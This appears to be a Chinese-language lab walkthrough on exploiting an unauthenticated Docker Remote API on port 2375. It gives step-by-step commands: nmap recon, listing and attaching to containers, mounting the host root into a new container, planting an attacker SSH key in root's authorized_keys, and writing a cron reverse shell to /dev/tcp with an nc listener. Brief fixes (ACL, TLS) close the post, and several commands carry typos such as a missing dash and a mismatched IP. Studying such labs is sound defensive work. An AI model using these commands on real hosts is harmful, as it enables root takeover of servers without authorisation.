简介
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。
一个完整的Docker有以下几个部分组成:
1.DockerClient客户端
2.Docker Daemon守护进程
3.Docker Image镜像
4.DockerContainer容器
漏洞成因
又叫Docker Remote API未授权访问漏洞,此API主要目的是取代命令行界面;Dcoker swarm是docker下的分布化应用的本地集群,开放2375监听容器时,会调用这个API,方便的docker集群管理和扩展(绑定在0.0.0.0上,http会返回404page not fount)
漏洞影响
攻击者利用 dockerclient 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
实验环境
目标机器: CentOS7+Docker、IP:10.1.1.200
攻击机器:Kali+Docker、IP:10.1.1.100
1.通过nmap对目标进行信息收集,发现如下端口开放
22端口:ssh默认端口
2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)
nmap -p- -sV T4 10.1.1.200
2. 已知目标开放2375端口,通过浏览器进行访问,
如果页面显示message "page not found" 代表存在漏洞
10.1.1.200:2375
3. 如若页面空白显示
01.可以通过info获取docker信息
10.1.1.200:2375/info
02.获取image列表
进行docker未授权访问漏洞利用
1. 使用docker命令连接目标机器
01.通过docker client使用-H参数连接目标主机的docker,
并使用ps -a命令查询目标系统运行的所有容器
docker -H tcp://10.1.1.200 ps -a #列出所有容器
列出所有镜像:docker -H tcp://10.1.1.200 images
进入容器的方法一:
01.首先docker client连接目标,ps -a 查看哪些容器已经停止
02.通过start命令启动一个已经停止的容器
docker H tcp://10.1.1.200 start 3dc8d67b679d
03.attach命令连接一个已经启动容器
docker H tcp://10.1.1.200 attach 3dc8d67b679d
这样就能够获得一个docker容器的shell
方法二:
新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)
docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)
Docker未授权写入ssh公钥获得shell
01.启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。
首先kali生成id_rsa公钥:ssh-keygen -t rsa
02.查看密钥
cat /root/.ssh/id_rsa.pub
03.将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
先进入容器:docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba
将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
>这个代表的意思为覆盖,>>代表为追加
此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh
写入后即可通过ssh进行连接,获取宿主机的shell:
ssh root@10.1.1.200 -i id_rsa
Docker未授权写定时任务获得shell
启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。
将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)
1.Kali开启监听:nc -lvvp 1212
2.写入反弹shell的脚本
echo"* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root
#*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1212 0>&1
获得目标shell
修复建议
1.设置ACL,只允许信任ip连接对应端口
2.开启TLS,使用生成的证书进行认证:
https://docs.docker.com/engine/security/protect-access/
如有问题,欢迎留言。